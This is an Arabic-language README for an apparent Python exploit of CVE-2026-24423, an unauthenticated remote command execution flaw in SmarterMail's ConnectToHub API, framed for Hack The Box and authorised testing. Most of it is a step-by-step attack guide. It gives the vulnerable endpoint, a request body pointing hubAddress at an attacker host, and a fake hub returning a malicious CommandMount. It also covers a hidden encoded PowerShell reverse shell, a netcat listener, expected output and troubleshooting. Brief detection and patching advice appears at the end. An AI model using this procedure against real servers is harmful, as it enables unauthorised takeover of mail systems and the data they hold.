
استغلال لثغرة CVE-2026-24423 — ثغرة حرجة في تنفيذ الأوامر عن بُعد (RCE) دون مصادقة في واجهة برمجة التطبيقات ConnectToHub الخاصة بـ SmarterMail. تؤثر على جميع الإصدارات السابقة للبناء 9511.
استغلال مبني على Python لثغرة CVE-2026-24423، وهي ثغرة تنفيذ أوامر عن بُعد غير مصادق عليها في وظيفة ConnectToHub الخاصة بـ SmarterTools SmarterMail.
الاستخدام المقصود: اختبارات الأمان المصرح بها، ومسابقات CTF، ومختبرات Hack The Box، وبيئات البحث الخاضعة للتحكم فقط.
CVE-2026-24423 هي ثغرة تنفيذ أوامر عن بُعد غير مصادق عليها تؤثر على SmarterTools SmarterMail.
توجد الثغرة في وظيفة ConnectToHub. يمكن لمهاجم غير مصادق عليه توفير خبيث، مما يتسبب في قيام خادم SmarterMail بتقديم طلب HTTP إلى خادم يتحكم فيه المهاجم.
hubAddressيستجيب الخادم الخبيث باستجابة setup-initial-connection مصممة بعناية تحتوي على قيمة SystemMount.CommandMount خاضعة للتحكم.
تقوم نسخة SmarterMail المتأثرة بعد ذلك بمعالجة هذه القيمة كأمر لنظام التشغيل، مما يسمح بتنفيذ أوامر عشوائية في سياق أمان خدمة SmarterMail.
تم منح الثغرة درجة CVSS 4.0 تبلغ 9.3 (حرجة) وتصنف ضمن CWE-306: غياب المصادقة لوظيفة حرجة.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-24423 |
| البائع | SmarterTools |
| المنتج | SmarterMail |
| الثغرة | تنفيذ أوامر عن بُعد غير مصادق عليه |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 حرجة |
| CVSS v3.1 | 9.8 حرجة |
| ناقل الهجوم | الشبكة |
| المصادقة | لا شيء |
| تفاعل المستخدم | لا شيء |
| التعقيد | منخفض |
| تاريخ النشر | 23 يناير 2026 |
| الإصدار المُصلَح | 9511 |
يصف السجل الرسمي لـ CVE المشكلة بأنها تنفيذ أوامر عن بُعد غير مصادق عليه عبر طريقة API الخاصة بـ ConnectToHub.
إصدارات SmarterMail قبل Build 9511 متأثرة.
يحدد سجل CVE النطاق المتأثر على النحو التالي:
SmarterMail < 100.0.9511
الإصدار 9511، الذي صدر في 15 يناير 2026، يحتوي على إصلاح البائع.
< 100.0.9511
>= 100.0.9511
تحقق دائمًا من الإصدار المثبت بدقة قبل محاولة إعادة إنتاج الثغرة.
يتم كشف الوظيفة المتأثرة من خلال واجهة برمجة تطبيقات إدارة النظام في SmarterMail.
العملية ذات الصلة هي:
/api/v1/settings/sysadmin/connect-to-hub
تقبل نقطة النهاية معامل hubAddress.
من الناحية المفاهيمية، يمكن للمهاجم تقديم:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
يقوم SmarterMail بعد ذلك بالاتصال بعنوان المحور المقدم ويطلب:
/web/api/node-management/setup-initial-connection
يستجيب الخادم الخاضع لسيطرة المهاجم بـ JSON يحتوي على كائن SystemMount خبيث.
الخاصية المهمة هي:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
يتم استخدام قيمة CommandMount لاحقًا بواسطة التطبيق المتأثر كأمر لنظام التشغيل.
يسمح هذا للمهاجم بالانتقال من:
طلب HTTP غير مصادق عليه
إلى:
تنفيذ أوامر عن بُعد
يؤكد التحليل الفني لـ VulnCheck أن hubAddress الخاضع لسيطرة المهاجم يتسبب في قيام SmarterMail بطلب نقطة نهاية setup-initial-connection الخاصة بالمهاجم وأن CommandMount المُعاد يمكن أن يوفر تنفيذ أوامر عشوائي.
يتكون الاستغلال من مكونين:
يستمع خادم Python إلى:
POST /web/api/node-management/setup-initial-connection
ويُرجع استجابة JSON مصممة بعناية تحتوي على SystemMount.CommandMount الخبيث.
يستقبل مستمع TCP منفصل الاتصال الذي بدأه الأمر المنفذ على الهدف.
يستخدم هذا الاستغلال عمدًا منفذين منفصلين.
8081
└── محور SmarterMail الوهمي
4455
└── مستمع الصدفة العكسية
flowchart LR
A[المهاجم<br/>10.10.14.50]
H[محور SmarterMail الوهمي<br/>TCP/8081]
T[هدف SmarterMail<br/>10.129.57.86]
C[CommandMount<br/>تنفيذ الأوامر]
P[PowerShell]
L[مستمع الصدفة العكسية<br/>TCP/4455]
A -->|تشغيل ConnectToHub| T
T -->|HTTP POST| H
H -->|JSON خبيث| T
T -->|CommandMount| C
C --> P
P -->|TCP عكسي| L
L --> Aالهدف
|
| HTTP
v
10.10.14.50:8081
الهدف
|
| TCP
v
10.10.14.50:4455
تخدم هذه المنافذ أغراضًا مختلفة ولا ينبغي الخلط بينها.
يستخدم الاستغلال وحدات مكتبة Python القياسية فقط:
http.server
json
base64
لا توجد حزم Python خارجية مطلوبة.
قم بتحرير المتغيرات التالية:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
لبيئة HTB المثال:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST هو عنوان IP الخاص بالمهاجم الذي يمكن للهدف الوصول إليه.
بالنسبة لـ Hack The Box، عادةً ما يكون هذا هو IP المعين لواجهة VPN الخاصة بـ HTB:
ip addr show tun0
مثال:
tun0:
inet 10.10.14.50
لذلك:
LHOST = "10.10.14.50"
LPORT هو منفذ TCP الذي يستخدمه المهاجم لاستقبال الاتصال العكسي.
مثال:
LPORT = 4455
HUB_PORT هو منفذ HTTP الذي يستخدمه محور SmarterMail الخبيث.
مثال:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
قم بتحرير:
nano exploit.py
اضبط:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
افتح طرفية:
nc -lvnp 4455
المتوقع:
Listening on 0.0.0.0 4455
أبقِ هذه الطرفية مفتوحة.
افتح طرفية ثانية:
python3 exploit.py
إذا كان ربط المنفذ المحدد يتطلب صلاحيات مرتفعة:
sudo python3 exploit.py
المخرجات المتوقعة:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
أرسل الطلب المناسب إلى نسخة SmarterMail المتأثرة.
يجب أن يشير hubAddress المقدم إلى خادم HTTP الخبيث:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
القيمة المهمة هي:
http://10.10.14.50:8081
لا تستخدم منفذ الصدفة العكسية كمنفذ للمحور.
| الغرض | IP | المنفذ |
|---|---|---|
| VPN المهاجم | 10.10.14.50 | — |
| محور SmarterMail الوهمي | 10.10.14.50 | 8081 |
| الصدفة العكسية | 10.10.14.50 | 4455 |
| هدف HTB | 10.129.57.86 | — |
التدفق الناتج هو:
hubAddress
↓
10.10.14.50:8081
↓
CommandMount الخبيث
↓
PowerShell
↓
10.10.14.50:4455
يقوم الاستغلال بإنشاء حمولة PowerShell ديناميكيًا.
تتوقع معلمة -EncodedCommand في PowerShell أن يتم ترميز الأمر باستخدام UTF-16LE قبل ترميز Base64.
يقوم السكربت بتنفيذ:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
يتم تنظيم الأمر النهائي على النحو التالي:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
يتجنب هذا الترميز اليدوي للحمولة ويمنع أخطاء ترميز UTF-8/UTF-16LE الشائعة.
عندما يصل الهدف إلى المحور الخبيث:
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
يجب أن يستقبل مستمع الصدفة العكسية اتصالًا بعد ذلك:
Connection received on 10.129.57.86 XXXXX
بمجرد الاتصال، يمكن إجراء تحقق أساسي:
whoami
hostname
تحقق من أن الخادم يستمع:
ss -lntp | grep 8081
تحقق من عنوان VPN:
ip addr show tun0
تأكد من أن LHOST يطابق العنوان الذي يمكن الوصول إليه من الهدف.
يعني نجاح طلب HTTP أن المرحلة الأولى تعمل:
الهدف
|
| HTTP
v
المحور الوهمي :8081
لا يعني ذلك بالضرورة نجاح المرحلة الثانية.
تحقق من:
ss -lntp | grep 4455
تأكد من تشغيل Netcat قبل تشغيل الاستغلال.
تحقق أيضًا من:
LHOST = عنوان IP للمهاجم يمكن للهدف الوصول إليه
LPORT = منفذ المستمع
إذا رأيت:
POST /web/api/node-management/setup-initial-connection
داخل Netcat، فهذا يعني أنك وجهت hubAddress إلى مستمع الصدفة العكسية.
غير صحيح:
hubAddress = http://10.10.14.50:4455
صحيح:
hubAddress = http://10.10.14.50:8081
يجب أن يظل المنفذان منفصلين.
يمكن أن تحدث استجابة 400 عندما لا يُرجع المحور الوهمي البنية المتوقعة من SmarterMail.
تحقق من أن الاستجابة تحتوي على:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
تأكد أيضًا من أن المسار المطلوب هو بالضبط:
/web/api/node-management/setup-initial-connection
يحدد التحليل العام للثغرة هذه النقطة الطرفية كجزء من تدفق ConnectToHub المتأثر.
أضف لقطات شاشة من مختبر HTB هنا.
مثال:

لقطة شاشة مقترحة:

أظهر:
[+] Received SmarterMail connection
[+] Sending CommandMount payload

أظهر الطلب الذي يحتوي على:
{
"hubAddress": "http://10.10.14.50:8081"
}

أظهر:
Connection received on 10.129.57.86
وموجه الأوامر الناتج.
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
تشمل المؤشرات المحتملة للاستغلال طلبات غير متوقعة إلى:
/api/v1/settings/sysadmin/connect-to-hub
واتصالات صادرة من خادم SmarterMail إلى مضيفي HTTP غير معروفين سابقًا.
يجب على المسؤولين أيضًا مراجعة سجلات التطبيق و IIS/الوكيل العكسي وسجلات الشبكة بحثًا عن نشاط ConnectToHub مشبوه.
تم إدراج CVE-2026-24423 في كتالوج الثغرات المعروفة المستغلة لدى CISA، مما يشير إلى أنه تم رصد استغلال خارج بيئات المختبرات.
الإجراء العلاجي الأساسي هو ترقية SmarterMail إلى Build 9511 أو أحدث. عالج إصدار البائع الصادر في 15 يناير 2026 الثغرة.
حيثما لا يكون التصحيح الفوري ممكنًا، يجب على المؤسسات أيضًا النظر في:
ConnectToHub المشبوهة.تم توفير هذا المشروع لأغراض البحث الأمني المصرح به والتعليم فقط.
لا تستخدم هذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الضرر أو فقدان البيانات أو الوصول غير المصرح به أو أي عواقب أخرى ناتجة عن استخدام هذا البرنامج.
استخدم فقط في بيئات خاضعة للتحكم مثل:
نُسبت CVE-2026-24423 إلى:
تم نشر CVE بواسطة VulnCheck في 23 يناير 2026.